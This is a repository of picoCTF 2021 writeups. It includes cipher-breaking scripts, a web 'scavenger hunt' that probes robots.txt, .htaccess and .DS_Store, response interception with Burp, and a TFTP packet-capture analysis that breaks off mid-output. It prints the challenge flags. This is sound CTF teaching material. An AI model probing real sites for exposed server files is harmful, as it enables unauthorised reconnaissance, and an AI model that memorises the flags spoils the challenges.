session.get("very_auth"): 45 | check = session["very_auth"] 46 | if check == "admin": 47 | resp = make_response(render_template("flag.html", value=flag_value, title=title)) 48 | return resp 49 | flash("That is a cookie! Not very special though...", "success") 50 | return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) 51 | else: 52 | resp = make_response(redirect("/")) 53 | session["very_auth"] = "blank" 54 | return resp 55 | 56 | if __name__ == "__main__": 57 | app.run() 58 | 59 | -------------------------------------------------------------------------------- /New_caesar/README.md: -------------------------------------------------------------------------------- 1 | # New caesar 2 | 3 | Category: Cryptography
4 | AUTHOR: MADSTACKS 5 | 6 | **DISCLAIMER! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | 10 | ``` 11 | We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{}) 12 | lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil 13 | ``` 14 | 15 | ## What is the caesar cipher? 16 | 17 | A monoalphabetic substition cipher with a right shift of 3. Now that the fancing words are out of the way, what does it actually do? Well the classic caesar cipher just takes each letter and shifts it 3 positions to the right in the alphabet. If the shift would go over the length of the alphabet, then just loop back around. We have been given cipher text and the source code used to encrypt it. 18 | 19 | ## new_caesar.py 20 | 21 | Lets look at the variables first: 22 | ```py 23 | import string 24 | 25 | LOWERCASE_OFFSET = ord("a") 26 | 27 | ALPHABET = string.ascii_lowercase[:16] 28 | ``` 29 | So the offset (our shift value) is the ascii value of `a` (97), and our special alphabet is a slice of all lowercase letters: `abcdefghijklmnop`. Great! On to the functions. 30 | ```py 31 | def b16_encode(plain): 32 | enc = "" 33 | for c in plain: 34 | binary = "{0:08b}".format(ord(c)) 35 | enc += ALPHABET[int(binary[:4], 2)] 36 | enc += ALPHABET[int(binary[4:], 2)] 37 | return enc 38 | ``` 39 | Alright, this might look confusing, but if we break it down. Iterate over the plaintext string, and convert the ascii value of each letter into binary format, keep it at a length of 8 (so a byte) and padded by 0's if needed. Try this: 40 | ```py 41 | python 42 | >>> f'{ord("a"):08b}' 43 | '01100001' 44 | >>> int(f'{ord("a"):08b}',2) 45 | 97 46 | ``` 47 | This is the except, that I used a python 3 format string (they are just so pretty!). Right, so what happens next? Well the binary string is split into two halves: `0110` and `0001` in our case, these are converted back into decimal, and used as an index in the alphabet. Again, try it in the terminal! 48 | ```python 49 | >>> alphabet = string.ascii_lowercase[:16] 50 | >>> a = f'{ord("a"):08b}' 51 | >>> int(a[:4],2) 52 | 6 53 | >>> int(a[4:],2) 54 | 1 55 | >>> alphabet[6]+alphabet[1] 56 | 'gb' 57 | ``` 58 | So `a` turns into `gb`. Great! Now on to the `shift`: 59 | ```py 60 | def shift(c, k): 61 | t1 = ord(c) - LOWERCASE_OFFSET 62 | t2 = ord(k) - LOWERCASE_OFFSET 63 | return ALPHABET[(t1 + t2) % len(ALPHABET)] 64 | ``` 65 | For the two variables we get two characters, and substract `97` from their ascii values. Then just add those together (modulo length of the alphabet so we stay in bounds) and use that value as an index for the alphabet list. 66 | ```py 67 | flag = "redacted" 68 | key = "redacted" 69 | assert all([k in ALPHABET for k in key]) 70 | assert len(key) == 1 71 | 72 | b16 = b16_encode(flag) 73 | enc = "" 74 | for i, c in enumerate(b16): 75 | enc += shift(c, key[i % len(key)]) 76 | print(enc) 77 | ``` 78 | This is all put together here. The initial assertions are really telling. The assert makes sure that a condition is met and if not it raises an assertion error. So we can tell that the key is made up of letters from the alphabet only! Next we know that the length of this key is 1. The flag is then put into `b16_encode`, so it doubles in length! And here is the `enumerate` method: 79 | ```python 80 | >>> c = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil' 81 | >>> for i,c in enumerate(c): 82 | ... print(f'{i} {c}') 83 | ... 84 | 0 l 85 | 1 k 86 | 2 m 87 | 3 j 88 | 4 k 89 | 5 e 90 | 6 m 91 | 7 j 92 | 8 m 93 | 9 k 94 | ... 95 | ... 96 | ``` 97 | It just indexes each letter from the b16 encoded string. Each letter (c) is shifted using the key! "But what about the modulus?" Who cares? The length of the key is 1, so we are just going to use the single letter anyway. 98 | 99 | ## solve.py 100 | 101 | Now we just have to reverse it all: 102 | ```py 103 | def shift(c, k): 104 | t1 = ord(c) + offset 105 | t2 = ord(k) + offset 106 | return alphabet[(t1 + t2) % len(alphabet)] 107 | ``` 108 | This should be obvious. Next. 109 | ```py 110 | def b16_decode(encoded): 111 | 112 | for e in encoded: 113 | p1 = f"{alphabet.index(encoded[:1]):04b}" 114 | p2 = f"{alphabet.index(encoded[1:]):04b}" 115 | 116 | binary = p1 + p2 117 | char = chr(int(binary,2)) 118 | 119 | return char 120 | ``` 121 | Here the input are two letters, we split them, get their index in the alphabet and turn into a binay string of length 4. Put those together and convert to ascii. Then I just added a `check` function to only see if the decoded string contains printable letters: 122 | ```py 123 | def check(text): 124 | for t in text: 125 | if t not in string.printable: 126 | return False 127 | 128 | return True 129 | ``` 130 | And here is the rest: 131 | ```py 132 | ciphertext = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil' 133 | 134 | for a in alphabet: 135 | plain = '' 136 | key = a 137 | decode = '' 138 | 139 | for i,c in enumerate(ciphertext): 140 | decode += shift(c, key) 141 | 142 | for i in range(0,len(decode),2): 143 | temp = (decode[i] + decode[i+1]) 144 | 145 | plain += b16_decode(temp) 146 | 147 | if check(plain): 148 | print(f'key = {a} : {plain} ') 149 | print() 150 | ``` 151 | Run it and this is the output: 152 | ``` 153 | key = g : TcNcd.N#" SQ%!R$% 'RS&$U S/Q'"'"!Q%&Q#% 154 | 155 | key = h : et_tu?_431db62c5618cd75f1d0b83832b67b46 156 | ``` 157 | Try and guess which is the flag ;) -------------------------------------------------------------------------------- /New_caesar/solve.py: -------------------------------------------------------------------------------- 1 | import string 2 | 3 | alphabet = 'abcdefghijklmnop' 4 | offset = 97 5 | 6 | 7 | def b16_decode(encoded): 8 | 9 | for e in encoded: 10 | p1 = f"{alphabet.index(encoded[:1]):04b}" 11 | p2 = f"{alphabet.index(encoded[1:]):04b}" 12 | 13 | binary = p1 + p2 14 | char = chr(int(binary,2)) 15 | 16 | return char 17 | 18 | def shift(c, k): 19 | t1 = ord(c) + offset 20 | t2 = ord(k) + offset 21 | return alphabet[(t1 + t2) % len(alphabet)] 22 | 23 | def check(text): 24 | for t in text: 25 | if t not in string.printable: 26 | return False 27 | 28 | return True 29 | 30 | ciphertext = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil' 31 | 32 | for a in alphabet: 33 | plain = '' 34 | key = a 35 | decode = '' 36 | 37 | for i,c in enumerate(ciphertext): 38 | decode += shift(c, key) 39 | 40 | for i in range(0,len(decode),2): 41 | temp = (decode[i] + decode[i+1]) 42 | 43 | plain += b16_decode(temp) 44 | 45 | if check(plain): 46 | print(f'key = {a} : {plain} ') 47 | print() 48 | -------------------------------------------------------------------------------- /Play_nice/README.md: -------------------------------------------------------------------------------- 1 | # Play Nice 2 | 3 | Category: Cryptography
4 | AUTHOR: MADSTACKS 5 | 6 | ## Description 7 | ``` 8 | Not all ancient ciphers were so bad... The flag is not in standard format. 9 | ``` 10 | 11 | ## What is the playfair cipher? 12 | 13 | We were given souce code called `playfair.py`, from this we can tell that the cipher used will be a playfair cipher! But what is that? A detailed explenation can be found [here](https://en.wikipedia.org/wiki/Playfair_cipher). I know about this cipher from NetOnCTF 2021, I have writeups on challenges from it [here](https://github.com/xnomas/NetOn-Writeups-2021). But lets get into the nitty gritty.
14 | Tha basics that we need is an alphabet, size of our matrix and some ciphertext: 15 | ``` 16 | +---------+ 17 | |A|B|C|D|E| 18 | +---------+ 19 | |F|G|H|I|J| 20 | +---------+ 21 | |K|L|M|N|O| 22 | +---------+ 23 | |P|Q|R|S|T| 24 | +---------+ 25 | |U|W|X|Y|Z| 26 | +---------+ 27 | ``` 28 | This could be an example matrix. And this matrix is our key! (also notice one typical thing, we left out one letter `V`. Most often you will see `I` or `J` left out) We use it to decrypt and encrypt text. Now, instead of taking you through all of the ins and outs of encryption and decryption, here are the basic concepts if decrypting text:
29 | 30 | If we want to decrypt the text `QKDUKFHS` here is how we do it: 31 | 1. Split into pairs = `QK, DU, KF, HS` 32 | 2. Go through the pairs 33 | 3. If the letters are on the same line, shift left 34 | 4. If the letters are in the same column, shift up 35 | 5. Else form a rectangle, with the letters being one of the top or bottom edges. Get the first letter under the left top and first letter above right bottom (example to follow) 36 |

37 | 38 | So here we go: 39 | ``` 40 | QK = Form a rectangle: 41 | 42 | K L 43 | P Q 44 | 45 | So Q turns into P and K into L; QK = PL 46 | --------------------------------------- 47 | DU = Form a rectangle: 48 | 49 | ABCD< 50 | FGHI 51 | KLMN 52 | PQRS 53 | UWXY 54 | ^ 55 | 56 | D turns into A, U turns into Y; DU = AY 57 | --------------------------------------- 58 | 59 | KF = In the same column, shift up! 60 | --- 61 | |A| 62 | |F| 63 | |K| 64 | --- 65 | K turns into F, F turns into A; KF = FA 66 | ---------------------------------------- 67 | HS = Form a rectangle: 68 | 69 | HI 70 | MN 71 | RS 72 | 73 | H turns into I, S turns into R; HS = IR 74 | --------------------------------------- 75 | 76 | QKDUKFHS 77 | PLAYFAIR 78 | ``` 79 | Great, now onto solving the challenge. 80 | 81 | ## Takeaways from playfair.py 82 | 83 | There are just a few important parts to note: 84 | ```py 85 | SQUARE_SIZE = 6 86 | ``` 87 | This is the size of our matrix. 88 | ```py 89 | def generate_square(alphabet): 90 | assert len(alphabet) == pow(SQUARE_SIZE, 2) 91 | matrix = [] 92 | for i, letter in enumerate(alphabet): 93 | if i % SQUARE_SIZE == 0: 94 | row = [] 95 | row.append(letter) 96 | if i % SQUARE_SIZE == (SQUARE_SIZE - 1): 97 | matrix.append(row) 98 | return matrix 99 | ``` 100 | And the function that generates our matrix, which looks like this: 101 | ```py 102 | [['n', '5', 'v', 'g', 'r', 'u'], 103 | ['7', 'e', 'h', 'z', '1', 'k'], 104 | ['l', 'j', 'a', '8', 's', '9'], 105 | ['3', '4', '0', 'm', '2', 'w'], 106 | ['c', 'x', 'b', 'd', '6', 'p'], 107 | ['q', 'f', 'i', 't', 'o', 'y']] 108 | ``` 109 | And then when we connect to the remote service, we get this ciphertext: 110 | ``` 111 | hnjm2e4t51v16gsg104i4oi9wmrqli 112 | ``` 113 | 114 | ## Decoding 115 | 116 | You can use an online decoder, like [this one](https://www.dcode.fr/playfair-cipher). But I decided to practice and code it. 117 | ```py 118 | alphabet = 'n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy' 119 | matrix = generate_square(alphabet) 120 | 121 | index = {} 122 | for i in range(6): 123 | for x in range(6): 124 | index[matrix[i][x]] = [matrix[x].index(matrix[x][i]),x] 125 | ``` 126 | Here we generate the matrix, from that I made a dictionary containing all the characters of the alphabet, with their corresponding index. 127 | ```py 128 | def split_by_two(text): 129 | splits = [] 130 | for i in range(0,len(text),2): 131 | splits.append(text[i]+text[i+1]) 132 | 133 | return splits 134 | 135 | ciphertext = 'hnjm2e4t51v16gsg104i4oi9wmrqli' 136 | splits = split_by_two(ciphertext) 137 | plaintext = '' 138 | ``` 139 | Then I just simply split the cipher text into pairs. 140 | ```py 141 | for s in splits: 142 | plaintext += get_rectangle(s,index,matrix) 143 | 144 | print(f'Decrypted: {plaintext}') 145 | ``` 146 | And finally for each pair I find either the rectangle, or the column/row (those are in the get_rectangle function). I don't think I need to go too into detail of the `rectangle` code, since we went over how decryption works. Run and get this: 147 | ``` 148 | Decrypted: 7v8441mfrerhdr8rh20f2fya20noaq 149 | ``` 150 | Now just connect with netcat and here we go: 151 | ``` 152 | nc mercury.picoctf.net 19354 153 | Here is the alphabet: n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy 154 | Here is the encrypted message: hnjm2e4t51v16gsg104i4oi9wmrqli 155 | What is the plaintext message? 7v8441mfrerhdr8rh20f2fya20noaq 156 | Congratulations! Here's the flag: dbc8bf9bae7152d35d3c200c46a0fa30 157 | ``` 158 | The flag is just the flag, no `picoCTF{}`. -------------------------------------------------------------------------------- /Play_nice/solve.py: -------------------------------------------------------------------------------- 1 | from pprint import pprint 2 | 3 | SQUARE_SIZE = 6 4 | 5 | def generate_square(alphabet): 6 | assert len(alphabet) == pow(SQUARE_SIZE, 2) 7 | matrix = [] 8 | for i, letter in enumerate(alphabet): 9 | if i % SQUARE_SIZE == 0: 10 | row = [] 11 | row.append(letter) 12 | if i % SQUARE_SIZE == (SQUARE_SIZE - 1): 13 | matrix.append(row) 14 | return matrix 15 | 16 | def split_by_two(text): 17 | splits = [] 18 | for i in range(0,len(text),2): 19 | splits.append(text[i]+text[i+1]) 20 | 21 | return splits 22 | 23 | def on_same_line(text,index): 24 | x1 = index[text[0]][0] 25 | x2 = index[text[1]][0] 26 | 27 | if x1 == x2: 28 | return True 29 | 30 | def in_same_column(text,index): 31 | y1 = index[text[0]][1] 32 | y2 = index[text[1]][1] 33 | 34 | if y1 == y2: 35 | return True 36 | 37 | def get_rectangle(text,index,matrix): 38 | 39 | uno = text[0] 40 | due = text[1] 41 | 42 | uno_index = index[uno] 43 | due_index = index[due] 44 | 45 | if on_same_line(text,index): 46 | return f'{ matrix[uno_index[0]][uno_index[1]-1] + matrix[due_index[0]][due_index[1]-1] }' 47 | 48 | left_side = matrix[ uno_index[0] ][ due_index[1] ] 49 | right_side = matrix[ due_index[0] ][ uno_index[1] ] 50 | 51 | return f'{left_side+right_side}' 52 | 53 | 54 | 55 | alphabet = 'n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy' 56 | matrix = generate_square(alphabet) 57 | """ 58 | [['n', '5', 'v', 'g', 'r', 'u'], 59 | ['7', 'e', 'h', 'z', '1', 'k'], 60 | ['l', 'j', 'a', '8', 's', '9'], 61 | ['3', '4', '0', 'm', '2', 'w'], 62 | ['c', 'x', 'b', 'd', '6', 'p'], 63 | ['q', 'f', 'i', 't', 'o', 'y']] 64 | """ 65 | index = {} 66 | for i in range(6): 67 | for x in range(6): 68 | index[matrix[i][x]] = [matrix[x].index(matrix[x][i]),x] 69 | 70 | ciphertext = 'hnjm2e4t51v16gsg104i4oi9wmrqli' 71 | splits = split_by_two(ciphertext) 72 | plaintext = '' 73 | 74 | for s in splits: 75 | plaintext += get_rectangle(s,index,matrix) 76 | 77 | print(f'Decrypted: {plaintext}') 78 | 79 | """ 80 | nc64.exe mercury.picoctf.net 19354 81 | Here is the alphabet: n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy 82 | Here is the encrypted message: hnjm2e4t51v16gsg104i4oi9wmrqli 83 | What is the plaintext message? 7v8441mfrerhdr8rh20f2fya20noaq 84 | Congratulations! Here's the flag: dbc8bf9bae7152d35d3c200c46a0fa30 85 | """ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF-2021-Writeups 2 | Writeups for PicoCTF 2021 3 | 4 |
5 | If you see an error please just open an isuse. 6 | 7 |
8 | 9 | ## Questions: 10 | If you have a question we can discuss [here](https://github.com/xnomas/PicoCTF-2021-Writeups/discussions) 11 | 12 | 13 |
14 | 15 | ## How I did: 16 |
17 | 18 | ![me](./me.png) 19 | 20 |
21 | 22 | In good company <3 (6215 users) 23 | -------------------------------------------------------------------------------- /Scavenger_Hunt/README.md: -------------------------------------------------------------------------------- 1 | # Scavenger hunt 2 | 3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS 5 | 6 | ## Description 7 | ``` 8 | There is some interesting information hidden around this site 9 | ``` 10 | 11 | ## Website 12 | 13 | Checking out the link I saw this: 14 |
15 | 16 | ![website](./website.png) 17 | 18 |
19 | 20 | Interesting. Usually on web ctf challenges I use my scraping tool [webctf](https://github.com/xnomas/web-ctf-help): 21 | ``` 22 | webctf http://mercury.picoctf.net:27393/ 23 | 24 | ============= 25 | COMMENTS 26 | ============= 27 | 28 | [+] 1 : Here's the first part of the flag: picoCTF{t 29 | 30 | ============= 31 | SCRIPTS 32 | ============= 33 | 34 | [+] 1 : myjs.js 35 | 36 | ============= 37 | IMAGES 38 | ============= 39 | 40 | sources: 41 | -------- 42 | 43 | alts: 44 | ----- 45 | 46 | =================== 47 | INTERESTING HEADERS 48 | =================== 49 | 50 | 51 | ``` 52 | Really cool! First part of the flag, so we'll have to `scavenge` around for the next parts. We saw the `How` tab, how about `What`? 53 |
54 | 55 | ![what](./what.png) 56 | 57 |
58 | 59 | Right, we checked out the `html` source. How about `javascript` and `css`? In the `webctf` output, we can see a `.js` file. Time to check it out! 60 | 61 | ### myjs.js 62 | ```js 63 | function openTab(tabName,elmnt,color) { 64 | var i, tabcontent, tablinks; 65 | tabcontent = document.getElementsByClassName("tabcontent"); 66 | for (i = 0; i < tabcontent.length; i++) { 67 | tabcontent[i].style.display = "none"; 68 | } 69 | tablinks = document.getElementsByClassName("tablink"); 70 | for (i = 0; i < tablinks.length; i++) { 71 | tablinks[i].style.backgroundColor = ""; 72 | } 73 | document.getElementById(tabName).style.display = "block"; 74 | if(elmnt.style != null) { 75 | elmnt.style.backgroundColor = color; 76 | } 77 | } 78 | 79 | window.onload = function() { 80 | openTab('tabintro', this, '#222'); 81 | } 82 | 83 | /* How can I keep Google from indexing my website? */ 84 | ``` 85 | That comment! We have to think about how Google can keep track of all these websites? It uses the Google web crawling/spider engine. But since devs don't want these spiders to reach and `index` every part of the website, we use a special file called `robots.txt`! This file tells the crawlers what parts of the site are disallowed, and what User Agents are allower to visit (among other things). Crawlers that listen to these files are called `polite`, when a crawler is not `polite` it could fall into something called a `spider trap`. More on that [here](https://www.techopedia.com/definition/5197/spider-trap). 86 |
87 | After my little tangent, here are the contents of `robots.txt`: 88 | ``` 89 | User-agent: * 90 | Disallow: /index.html 91 | # Part 3: t_0f_pl4c 92 | # I think this is an apache server... can you Access the next flag? 93 | ``` 94 | Oh damn! Part 3. Where is part 2? 95 | 96 | ### mycss.css 97 | 98 | The second hint from the `what` tab was the use of css. We can check out the file! 99 | ```css 100 | div.container { 101 | width: 100%; 102 | } 103 | 104 | header { 105 | background-color: black; 106 | padding: 1em; 107 | color: white; 108 | clear: left; 109 | text-align: center; 110 | } 111 | 112 | body { 113 | font-family: Roboto; 114 | } 115 | 116 | h1 { 117 | color: white; 118 | } 119 | 120 | p { 121 | font-family: "Open Sans"; 122 | } 123 | 124 | .tablink { 125 | background-color: #555; 126 | color: white; 127 | float: left; 128 | border: none; 129 | outline: none; 130 | cursor: pointer; 131 | padding: 14px 16px; 132 | font-size: 17px; 133 | width: 50%; 134 | } 135 | 136 | .tablink:hover { 137 | background-color: #777; 138 | } 139 | 140 | .tabcontent { 141 | color: #111; 142 | display: none; 143 | padding: 50px; 144 | text-align: center; 145 | } 146 | 147 | #tabintro { background-color: #ccc; } 148 | #tababout { background-color: #ccc; } 149 | 150 | /* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */ 151 | ``` 152 | Very nice indeed. We now have 3 parts of the flag: `picoCTF{th4ts_4_l0t_0f_pl4c`. Now what was that hint in `robots.txt`? 153 | 154 | ### .htacess 155 | ``` 156 | # I think this is an apache server... can you Access the next flag? 157 | ``` 158 | An apache server! What kind of file could that be? Now... in order to be transparent, I had to take a hint here and for the following file from my friend [N1z0ku](https://github.com/N1z0ku). We now need to access the `.htaccess` file! 159 | ``` 160 | # Part 4: 3s_2_lO0k 161 | # I love making websites on my Mac, I can Store a lot of information there. 162 | ``` 163 | Our flag so far: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k`. 164 | 165 | ### .DS_Store 166 | 167 | Now, you might be asking yourself: "What the hell? What kind of file is this?!". From what I've read, `.DS_Store` is a special MacOS file that stores information about the current folder. Like icon positioning etc. You may also see it if you unzip a file from a Mac user on a non-Mac computer. Kind of a token identifier of Mac computers. 168 | ``` 169 | Congrats! You completed the scavenger hunt. Part 5: _d375c750} 170 | ``` 171 | So here it is! 172 | ## Flag 173 | 174 | ``` 175 | picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_d375c750} 176 | ``` 177 | -------------------------------------------------------------------------------- /Scavenger_Hunt/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Scavenger_Hunt/website.png -------------------------------------------------------------------------------- /Scavenger_Hunt/what.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Scavenger_Hunt/what.png -------------------------------------------------------------------------------- /Some_assembly_required_1/README.md: -------------------------------------------------------------------------------- 1 | # Some assembly required - 1 2 | 3 | Category: Web Exploitation
4 | AUTHOR: SEARS SCHULZ 5 | 6 | ## Solution 7 | 8 | This was a pretty easy challenge. I simply set BurpSuite to intercept all server responses, eventually got the following response: 9 | ``` 10 | GET /JIFxzHyW8W HTTP/1.1 11 | Host: mercury.picoctf.net:15472 12 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 13 | Accept: */* 14 | Accept-Language: en-US,en;q=0.5 15 | Accept-Encoding: gzip, deflate 16 | Referer: http://mercury.picoctf.net:15472/index.html 17 | Connection: close 18 | If-Modified-Since: Tue, 16 Mar 2021 00:38:49 GMT 19 | Cache-Control: max-age=0 20 | ``` 21 | That is a weird one, huh? Visiting the link the file `JIFxzHyW8W` is downloaded. What next? Well I just tried `cat JIFxzHyW8W`: 22 | ``` 23 | picoCTF{c733fda95299a16681f37b3ff09f901c} 24 | ``` 25 | And the very bottom was the flag. great! -------------------------------------------------------------------------------- /Speeds_and_feeds/README.md: -------------------------------------------------------------------------------- 1 | # Speeds and feeds 2 | 3 | Category: Reverse Engineering
4 | AUTHOR: RYAN RAMSEYER 5 | 6 | ## Description 7 | ``` 8 | There is something on my shop network running at nc mercury.picoctf.net 16524, but I can't tell what it is. Can you? 9 | ``` 10 | 11 | ## Netcat 12 | 13 | We have a netcat command given... so how about just connect? 14 | ```bash 15 | nc mercury.picoctf.net 16524 16 | G17 G21 G40 G90 G64 P0.003 F50 17 | G0Z0.1 18 | G0Z0.1 19 | G0X0.8276Y3.8621 20 | G1Z0.1 21 | G1X0.8276Y-1.9310 22 | G0Z0.1 23 | G0X1.1034Y3.8621 24 | G1Z0.1 25 | G1X1.1034Y-1.9310 26 | G0Z0.1 27 | G0X1.1034Y3.0345 28 | G1Z0.1 29 | G1X1.6552Y3.5862 30 | G1X2.2069Y3.8621 31 | ``` 32 | Wow, okay... that looks like nonsense. I just redirected the output into a file `output.txt`. Great. How about we take a hint? 33 | 34 | ## Listening to the hint 35 | 36 | `What language does a CNC machine use?` Interesting, time to google it... and turns out it is `G-Code`. Makes sense since everything starts with a `G`. But what now? What use is this to us? Maybe we could google an interpreter? 37 | 38 | ## Interpreter 39 | 40 | I found [this one](https://ncviewer.com/), and it is really handy. After inputting the code, we get this result: 41 |
42 | 43 | ![flag](./flag.png) 44 | 45 |
46 | 47 |
48 | 49 | ![flag2](./flag-2.png) 50 | 51 |
52 | 53 | Great! Here is just plaintext: `picoCTF{num3r1cal_c0ntr0l_e7749028}` -------------------------------------------------------------------------------- /Speeds_and_feeds/flag-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Speeds_and_feeds/flag-2.png -------------------------------------------------------------------------------- /Speeds_and_feeds/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Speeds_and_feeds/flag.png -------------------------------------------------------------------------------- /Transformation/README.md: -------------------------------------------------------------------------------- 1 | # Transformation 2 | 3 | Category: Reverse Engineering
4 | AUTHOR: MADSTACKS 5 | 6 | ## Description 7 | ``` 8 | I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)]) 9 | ``` 10 | 11 | ## Solution 12 | 13 | You could simply use [cyberchef]() on the `magic` setting, and get the flag `picoCTF{16_bits_inst34d_of_8_e141a0f7}`
. 14 | 15 | Or use this: 16 | ```py 17 | decode = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽' 18 | print(decode.encode('utf-16-be')) 19 | ``` -------------------------------------------------------------------------------- /Transformation/enc: -------------------------------------------------------------------------------- 1 | 灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽 -------------------------------------------------------------------------------- /Transformation/solve.py: -------------------------------------------------------------------------------- 1 | decode = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽' 2 | print(decode.encode('utf-16-be')) 3 | 4 | # picoCTF{16_bits_inst34d_of_8_e141a0f7} utf-8 to utf-16 -------------------------------------------------------------------------------- /Trivial_Flag_Transfer_Protocol/README.md: -------------------------------------------------------------------------------- 1 | # Trivial Flag Transfer Protocol 2 | 3 | Category: Forensics
4 | AUTHOR: DANNY 5 | 6 | **Disclaimer! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | Figure out how they moved the flag. 11 | ``` 12 | 13 | ## Wireshark 14 | 15 | Yet again we have a packet capture file. This is because (as many of you might have guessed) this is a capture of a `TFTP` (Trivial File Transfer Protocol) exchange. This means that the data is exchanged in an unencrypted manner, and this is where wireshark can really come in handy. 16 |
17 | 18 | ![extract](./extract.png) 19 | 20 |
21 | Looking through the capture is not needed, we can just extract the exchanged files! (Really neat) 22 |
23 | 24 | ![files](./files.png) 25 | 26 |
27 | So just extract it all, and time to check them out. 28 | 29 | ## The files 30 | First the instructions! 31 | ``` 32 | cat instructions.txt 33 | GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA 34 | ``` 35 | Well this is probably just [ROT13 again](https://www.boxentriq.com/code-breaking/rot13) 36 | ``` 37 | GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA 38 | 39 | TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER. FIGURE OUT A WAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN 40 | ``` 41 | Right! And we do have tha plan as well: 42 | ``` 43 | cat plan 44 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF 45 | ``` 46 | More ROT13, yay! 47 | ``` 48 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF 49 | 50 | I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS 51 | ``` 52 | Okay, that is a little weird, but sure. We have abunch of pictures, as well as some `program.deb`. First the pictures: 53 | ``` 54 | binwalk *.bmp 55 | 56 | Scan Time: 2021-03-30 13:24:45 57 | Target File: /root/CTFs/Picoctf-2021/tftp/picture1.bmp 58 | MD5 Checksum: 64ff3e09f841809a58841fb446299de0 59 | Signatures: 391 60 | 61 | DECIMAL HEXADECIMAL DESCRIPTION 62 | -------------------------------------------------------------------------------- 63 | 0 0x0 PC bitmap, Windows 3.x format,, 605 x 454 x 24 64 | 65 | 66 | Scan Time: 2021-03-30 13:24:46 67 | Target File: /root/CTFs/Picoctf-2021/tftp/picture2.bmp 68 | MD5 Checksum: 6a38935acc75a8042dee58d7641f437b 69 | Signatures: 391 70 | 71 | DECIMAL HEXADECIMAL DESCRIPTION 72 | -------------------------------------------------------------------------------- 73 | 0 0x0 PC bitmap, Windows 3.x format,, 4032 x 3024 x 24 74 | 2815484 0x2AF5FC Broadcom header, number of sections: 793596227, 75 | 5539633 0x548731 rzip compressed data - version 87.76 (1415270489 bytes) 76 | 6120249 0x5D6339 LANCOM OEM file 77 | 8201345 0x7D2481 LANCOM firmware header, model: "QXKRYLQXKQXKQWKOUJNTIKQFIODIODJPELRGMSHMSHMSHLRGJPEHNCIODNTIRXMRXMZbWgqejuinznkwkiuiqxmlmcOPFCD:@@6?>4@?5A>5B?6A>5?<3>;2>;2>;2>;", firmware version: "JPWJ", RC74, build 87 ("OVIPWJQX") 78 | 8249741 0x7DE18D LANCOM firmware header, model: "OVJPXMPXMPXMPXMPXMOWLOWLPXMOWLOWLOWLPXMOWLOWLQYNT\Q[eY]j^arefwjbsf`maWaU=D9/3(8:0:;1AB8=>4>>4=<2<;1<90>;2=:1=:1=:1>;2?<3?<3?<3?<", firmware version: "KPWJ", RC73, build 88 ("NUHOVIQX") 79 | 8273945 0x7E4019 LANCOM firmware header, model: "X`UU]RT\QV^SW_TU]RS[PT\QV^SV^SV^S[eYal`eqeduhdxkfzmi}pj|om{odoc`h]T[PAG<:?4:>39:0;:0=<2=<2=<2<90;8/<90?<3A>5@=4?<3?<3>;2=:1>;2?<", firmware version: "TYaV", RC77, build 95 ("PWJRYMT\") 80 | 10291544 0x9D0958 Broadcom header, number of sections: 324294729, 81 | 12727226 0xC233BA StuffIt Deluxe Segment (data): fVefVefVefVdeUcdT`aQ_`P``Ra`R`_Q`_QbaScbTebVfbWb^Sa]R_[P[VMTOFQLCTNDYSHWQFWQFWQEWQDWQD[UH_YL`ZM_YL]WJ]WJ\VI]WJ]WJ^XK_YLc]PlfYnh[ 82 | 13247747 0xCA2503 StuffIt Deluxe Segment (data): 